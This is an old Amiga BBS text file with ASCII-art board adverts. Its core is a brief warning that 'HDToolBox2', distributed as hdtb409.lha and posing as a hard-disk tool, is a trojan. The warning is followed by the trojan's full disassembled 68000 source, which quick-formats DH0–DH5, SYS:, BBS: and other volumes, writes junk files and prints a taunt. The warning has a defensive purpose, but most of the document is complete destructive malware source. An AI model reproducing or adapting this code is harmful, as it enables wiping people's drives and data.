___/\    ________:___________________________________________________:
\___ \  /  \     ¦  __/  ________   _   /___/  _______/    .   _/    ¦ _
 |  \ \/ /  \    |   \_______  \     \_/    \     /   \   _|___ \    |/ \
 |   \  /    \____    \_   |    \_    \_     \_  /     \_ ____/  \_  |   \_
 |____\/______/________/_________/_____/______/_________/__|______/_______/
                                                                       .
    \                         MYSTICAL PLACES!                        /
     \/\ _ ___________:   ______________________________________ _ /\/
        \ \\_  ____  \| _|    .   _/  ______/   ______/  ______/ //
            |  \_____/|/ \   _|___ \    /   \  ___/  \______  \
            |    |    |   \_ ____/  \_ /     \_ /     \_  |    \_
        zACK|____|_________/__|______/________/________/________/
                              ·
            @@@@@@        NOW RUNNING ON 6 BLAZING NODEZ!!!
           @@@¯¯@@@     _____  _____________  _________________
  __ _____@@@__________/     \/     \_____  \/  _____/  ______/______ __
  \:\\::::@@@@@@@@::::/   _  .\  |  .\   |  .\ ___)_\____  .\::::::://:/
   \:\\:::@@@:::@@@::/    |   \\ |   \\  |   \\     \_      \\::::://:/
    ¯¯ ¯¯¯@@@¯¯¯@@@¯¯\____|     \_____/_______/______/_______/¯¯¯¯¯ ¯¯
           @@@@@@@        |______\zACK
            ¯¯¯¯¯                Y
·  - - - - -- - - -- -- -- - - -  -- - -- - - - - --- -- -- - -- - -- --  - ·

 eLITY oNLY  [ NODE #1: +31-(0)10-4779507 rINGDOWN 28k8 v.FAST ]  tHE sTAFF:
  0/1 dAYZ   [ NODE #2: +31-(0)10-4779568  ,,  ,,  28k8 v.FAST ]   - tHC -
68030/68882  [ NODE #3: +31-(0)10-4779633  ,,  ,,  28k8 v.FAST ] - eUROSOFT -
   40 mHZ    [ NODE #4: +31-(0)10-4774218          21k6 dUAL   ]  - dELITE - 
   pOWER!    [ NODE #5: +31-(0)10-4762711          21k6 dUAL   ] - cREW^ONE -
  1,5 gIG!   [ NODE #6: +31-(0)10-4761459          21k6 dUAL   ]   - pLL! -

·  - - - - -- - - -- -- -- - - -  -- - -- - - - - --- -- -- - -- - -- --  - ·
        >>>>  M Y T H   W O R L D   H E A D Q U A R T E R S  <<<<
·  - - - - -- - - -- -- -- - - -  -- - -- - - - - --- -- -- - -- - -- --  - ·

                             !                      !          !
        !                   .:.                    .:.        ::.
       .:____________/\ ___/\::_________/\ _______/\::____  _/\::  :  
       ::\             \\    \:\          \\        \:\   \/   \::.:. 
      .:::\  /     /   //    /:/     /    //        /:/   /    /:::::. 
      :::::\/       __//    /\/     /    //    /\  /:/       _/::::::: 
     ::!:::/         \/    /  \         //    /  \/:/        \::::::::.
    .:::::/      /   /         \  /    //         \/    /\    \:::::::!
    !:::::\  _______/\  _______/_/\___/:\  _______/\  _/:/    /:::::::!
    `------\/---------\/------\/---------\/---------\/--/    /--------' 
                                                        \  _/         
                                                   !     \/       
                  !                               .:.          
              !  :_________  __/\ ________/\ ___/\::______/\__!   
              :..:\        \/    \\         \\    \:\        /:.  
           ! .:::::\  /    /     //    /    //    /:/  ___  /:::   
           :::::::::\/          //    /    //    /\/  __/\\/:::::.    
          .:::::::::/    _     //    /    //    /  \   /  \::::::::..
          :[ AleX ]/    //    //    /    //         \ /    \[ AleX ]:.
          !::::::::\  _/:\___/:\  ______/:\  _______/______/:::::::::!
          `---------\/----------\/---------\/------\/----------------'
                ···»» CRuX (ShQ) & MyTH (ShQ) & Ð & R (ShQ) ««···

            SySøP's: SnAkE/PSG/MTH/CRX/D&R ^ ÐelBøY/PSG/MTH/CRX/D&R

         - --+-NødE-1: +381(ø)11-862-743 (-µSR 33.6 ds HSt-)-+-- -    
     - ------+-NØDe-2: +381(ø)11-PR¡VATE (-µSR 16.8 dS HSt-)-+------ -
               -    -   -  -- ------++------ --  -   -    -

                   ._______.
                   |       |       ._______.
  _________________|       |_______|_______|_______________________________.
  \_________       |       |       |_______|              \_________       |
   |       |       |             --|       |       |_______|       |       |
   |       |       |       |       |       |       |       |       |       |
   |_______________|_______|_______|_______|_______|    tP!|_______________|
   =========================================================================
       .EDGE.WHQ.RAZOR.1911.CHQ.ROM.1911.WHQ.PROPHECY.CHQ.SNEAKERS.CHQ.
         .5.GIGABYTES.ONLINE.1O.NODES.AMIGA.IBM.PC.MACINTOSH.CONSOLE.
            .SYSOPS:.PHARAOH.DEVIOUS.DOZE.FALLEN.ANGEL.THE.ROAMER.
           .STAFF:.LUNATIC.GENIUS.THE.DUTCHMEN.STAR.GAZOR.MAVERICK.
   =========================================================================




******************************************************************
**** **** **** Yet another HD formatter hit scene ***** ***** ****
******************************************************************

The HDToolBox2 in a very lame virus, which tries to quick format
the following drives/assigns:

DH0: DH1: DH2: DH3: DH4: DH5: D0H0: SYS: BBS: NCOMM:

this would not be a great damage, but the virus also writes ~20 files
in the root of the newly formatted drive... this may cause annoyance
or even serious troubles!!


				Rikki Ratboy/DhB


[---------------------> SNIP HERE FOR THE SOURCE <---------------------------]

_LVOSupervisor	equ	-$1E
_LVOAttemptLockDosList	equ	-$29A
_LVOOpen	equ	-$1E
_LVOFormat	equ	-$2CA
_LVORawDoFmt	equ	-$20A
_LVOOutput	equ	-$3C
_LVOWrite	equ	-$30
_LVOFindDosEntry	equ	-$2AC
_LVOOpenLibrary	equ	-$228
_LVODelay	equ	-$C6
_LVOGetFileSysTask	equ	-$20A
_LVOInhibit	equ	-$2D6
****************************************************************************

	SECTION	HDToolBox20000000,CODE
ProgStart	suba.w	#$24,sp
	lea	(doslibrary.MSG,pc),a1
	moveq	#0,d0
	movea.l	(4).w,a6
	jsr	(_LVOOpenLibrary,a6)
	movea.l	d0,a5
	bra.b	lbC00001E

lbC000016	moveq	#$32,d1
	movea.l	a5,a6
	jsr	(_LVODelay,a6)
lbC00001E	moveq	#5,d1
	movea.l	a5,a6
	jsr	(_LVOAttemptLockDosList,a6)
	movea.l	d0,a3
	tst.l	d0
	beq.b	lbC000016
	lea	(BBS.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0000E8
	lea	(BBS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0000E8
	lea	(BBS.MSG0,pc),a0
	move.l	a0,d1
	lea	(CHOKe.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(BBS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00007E	movem.l	a2/a3,-(sp)
	lea	(CHOKeDOPisGOD.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00007E
	lea	(CHOKeGODisEVi.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0000E8	lea	(DH0.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0001A4
	lea	(DH0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0001A4
	lea	(DH0.MSG0,pc),a0
	move.l	a0,d1
	lea	(dOP.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(-$2D6,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00013A	movem.l	a2/a3,-(sp)
	lea	(dOPaNuSld.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(-$1E,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(-$30,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00013A
	lea	(dOPhihihi.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0001A4	lea	(DH1.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000260
	lea	(DH1.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000260
	lea	(DH1.MSG0,pc),a0
	move.l	a0,d1
	lea	(dEMONS.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH1.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0001F6	movem.l	a2/a3,-(sp)
	lea	(dEMONSpENiSld.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0001F6
	lea	(dEMONShohoho.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000260	lea	(DH2.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC00031C
	lea	(DH2.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC00031C
	lea	(DH2.MSG0,pc),a0
	move.l	a0,d1
	lea	(pENTAGRAM.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH2.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0002B2	movem.l	a2/a3,-(sp)
	lea	(pENTAGRAMmACR.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0002B2
	lea	(pENTAGRAMrEVE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC00031C	lea	(DH3.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0003D8
	lea	(DH3.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0003D8
	lea	(DH3.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiRELESS.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH3.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00036E	movem.l	a2/a3,-(sp)
	lea	(WiRELESShELLl.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00036E
	lea	(WiRELESShATe.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0003D8	lea	(DH4.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000494
	lea	(DH4.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000494
	lea	(DH4.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiREMORE.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH4.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00042A	movem.l	a2/a3,-(sp)
	lea	(WiREMOREsATAn.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00042A
	lea	(WiREMOREPEACE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000494	lea	(DH5.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000550
	lea	(DH5.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000550
	lea	(DH5.MSG0,pc),a0
	move.l	a0,d1
	lea	(sTEELFACe.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH5.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0004E6	movem.l	a2/a3,-(sp)
	lea	(sTEELFACeMyTV.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0004E6
	lea	(sTEELFACestEE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000550	lea	(D0H0.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC00060C
	lea	(D0H0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC00060C
	lea	(D0H0.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiRED.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(D0H0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0005A2	movem.l	a2/a3,-(sp)
	lea	(WiREDGODSarmy.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0005A2
	lea	(WiREDtHEfORCE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC00060C	lea	(SYS.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0006CA
	lea	(SYS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0006CA
	lea	(SYS.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiREFACE.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(SYS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00065E	movem.l	a2/a3,-(sp)
	lea	(WiREFACECPld.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	cmpi.l	#$1E,($20,sp)
	blt.b	lbC00065E
	lea	(WiREFACEharha.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0006CA	lea	(NCOMM.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000788
	lea	(NCOMM.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000788
	lea	(NCOMM.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiREBAjS.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(NCOMM.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a3
lbC00071C	movem.l	a2/a3,-(sp)
	lea	(WiREBAjSYourT.MSG,pc),a0
	lea	($28,sp),a1
	movea.l	(4).w,a6
	movea.l	a3,a2
	lea	(8,sp),a3
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00071C
	lea	(WiREBAjSPARAD.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000788	movea.l	a5,a6
	jsr	(_LVOOutput,a6)
	lea	(Youvebeenhitb.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$60,d3
	add.l	d3,d3
	jsr	(_LVOWrite,a6)
	move.l	#$3E8,d1
	jsr	(_LVODelay,a6)
lbC0007A8	bra.b	lbC0007A8

doslibrary.MSG	dc.b	'dos.library',0
BBS.MSG	dc.b	'BBS',0
BBS.MSG0	dc.b	'BBS:',0,0
CHOKe.MSG	dc.b	'CHOKe',0
CHOKeDOPisGOD.MSG	dc.b	'CHOKe:DOPisGOD%ld',0,0
	dc.b	0

lbC0007DA	move.b	d0,(a3)+
	rts

	dc.w	0
ALFONSBERGViR.MSG	dc.b	'ALFONS ÅBERG ViRUS v2.0 ßeta by WiREFACE / dEMONS oF'
	dc.b	' tHE pENTAGRAM, dedicated to (Corn)Flake/TRSI',0
CHOKeGODisEVi.MSG	dc.b	'CHOKe:GODisEViL',0
DH0.MSG	dc.b	'DH0',0
DH0.MSG0	dc.b	'DH0:',0,0
dOP.MSG	dc.b	'dOP',0
dOPaNuSld.MSG	dc.b	'dOP:aNuS%ld',0,0
	dc.b	0
dOPhihihi.MSG	dc.b	'dOP:hihihi',0,0
DH1.MSG	dc.b	'DH1',0
DH1.MSG0	dc.b	'DH1:',0,0
dEMONS.MSG	dc.b	'dEMONS',0,0
dEMONSpENiSld.MSG	dc.b	'dEMONS:pENiS%ld',0,0
	dc.b	0
dEMONShohoho.MSG	dc.b	'dEMONS:hohoho',0
DH2.MSG	dc.b	'DH2',0
DH2.MSG0	dc.b	'DH2:',0,0
pENTAGRAM.MSG	dc.b	'pENTAGRAM',0
pENTAGRAMmACR.MSG	dc.b	'pENTAGRAM:mACROMAn%ld',0,0
	dc.b	0
pENTAGRAMrEVE.MSG	dc.b	'pENTAGRAM:rEVENGE!',0,0
DH3.MSG	dc.b	'DH3',0
DH3.MSG0	dc.b	'DH3:',0,0
WiRELESS.MSG	dc.b	'WiRELESS',0,0
WiRELESShELLl.MSG	dc.b	'WiRELESS:hELL%ld',0,0
WiRELESShATe.MSG	dc.b	'WiRELESS:!hATe!',0
DH4.MSG	dc.b	'DH4',0
DH4.MSG0	dc.b	'DH4:',0,0
WiREMORE.MSG	dc.b	'WiREMORE',0,0
WiREMOREsATAn.MSG	dc.b	'WiREMORE:sATAn%ld',0,0
	dc.b	0
WiREMOREPEACE.MSG	dc.b	'WiREMORE:PEACEloveUNDERSTANDiNG',0
DH5.MSG	dc.b	'DH5',0
DH5.MSG0	dc.b	'DH5:',0,0
sTEELFACe.MSG	dc.b	'sTEELFACe',0
sTEELFACeMyTV.MSG	dc.b	'sTEELFACe:MyTV%ld',0,0
	dc.b	0
sTEELFACestEE.MSG	dc.b	'sTEELFACe:stEELFisT',0
D0H0.MSG	dc.b	'D0H0',0,0
D0H0.MSG0	dc.b	'D0H0:',0
WiRED.MSG	dc.b	'WiRED',0
WiREDGODSarmy.MSG	dc.b	'WiRED:GODSarmy%ld',0,0
	dc.b	0
WiREDtHEfORCE.MSG	dc.b	'WiRED:tHEfORCE',0,0
SYS.MSG	dc.b	'SYS',0
SYS.MSG0	dc.b	'SYS:',0,0
WiREFACE.MSG	dc.b	'WiREFACE',0,0
WiREFACECPld.MSG	dc.b	'WiREFACE:CP%ld',0,0
WiREFACEharha.MSG	dc.b	'WiREFACE:harharhar',0,0
NCOMM.MSG	dc.b	'NCOMM',0
NCOMM.MSG0	dc.b	'NCOMM:',0,0
WiREBAjS.MSG	dc.b	'WiREBAjS',0,0
WiREBAjSYourT.MSG	dc.b	'WiREBAjS:YourTV%ld',0,0
WiREBAjSPARAD.MSG	dc.b	'WiREBAjS:PARADiSE',0
Youvebeenhitb.MSG	dc.b	'You''ve been hit by (boom) (boom), you''ve been hit '
	dc.b	'by (boom) a smooth criminal (Alfons that is, tihi)! '
	dc.b	'- Good luck restoring your lousy hD - WE HATE YOU AL'
	dc.b	'L! HA HA HA HA HA !!! (echo) ha ha ha',$A,0
	dc.b	0

	rts
	nop
	end

@BEGIN_FILE_ID.DIZWARNING!WARNING!WARNING!WARNING!WARNING!

The file hdtb409.lha is an HD formatter
-- read inside for details and source --

WARNING!WARNING!WARNING!WARNING!WARNING!
@END_FILE_ID.DIZ



                      .----------------------------------.
             _______. |                                  |  .______
             \_     | | .____.  _________ __________________|     /
              |    _|___|    |  \    _   \\_        /\_     |    /
              |    \_    \   |__/_   _    \|     __/__|_        /
              |     |    /   |    \  |     \           /    |   \
              l_________/_________/__|      \_________/_____|    \
                   _______.          l_______/              l____jT
                   \_     |____.         .____. ____________
                    |     |    |_________|    | \_      ___/
                    |          |          \   |__|_    __l__
                    |     |    |    |     /   |    \        \
                    |     |____|_________/_________/_________\
                    l_____|                              
                              CRUX sHQ!  &  MYTH sHQ!    |
                      |         dIAMONDS & rUST sHQ      |
                      |                                  |
                      | sTµFF:  sNAKE/pSG^mTH^cRX^d&R!   |
                      |        dELBOY/pSG^mTH^cRX^d&R!   |
                      |                                  |
                      |          +381-11-862-743         |
                      `----------------------------------'

[0 p                        [· mYTH wORLD hEADQUARTERS ·]
                    __
       /\  /\  ____|  \_____________________  _______________ ________
     _// \/  \/   ||   \_   _______   .__/__)/         /     \|.    _/__:_
    |/        \__    ___/_____  \/   .||   .|    /____/   |   \|    |___|
   _/    \/   \\|    |_/     |  \\_  |||   ||   /    \    _   \\    |   \_
   \_____||     \____|\      _____/___||____|___     \\___|     \________/
   -|-----|______/-----\_____/----Stz!---------\_______/--|______/------|-
    |     _________________    _____  __________________/\___________  .|
    |     \_______  \    _/   /     \/          /  ____   /    _____/  ||
   _|______|.  __/   \_  |___/   |   \    /____/  __/_\ //______   \____|
    :      ||  \______/  |   \_  _   \\_ /    \_       \/\_    /   \\_
           |_____| |__________/  |_____/_______/__________/__________/
                              \______|
____________________________________________________________________________

                              sYSOP: ThC/mYTH                               
     cO-sYSOP'S: eUROSOFT/mYTH, cREW-1/mYTH, dELITE/mYTH, dIABLO/mYTH       
    »»--(  mAJOR uPLOADS 2x cREDITZ, mAJOR gROUP uPLOAD 3x cREDITZ )--««
  »»---( 28k8 pOWER »-« mORE aS 5 yEARS oN-LINE »-« nO nEWUSER PASW )---«« 
 »»------------( /X 4.x , 68030 40 mHZ , 1300 mEGS oN-lINE! )------------«« 
____________________________________________________________________________
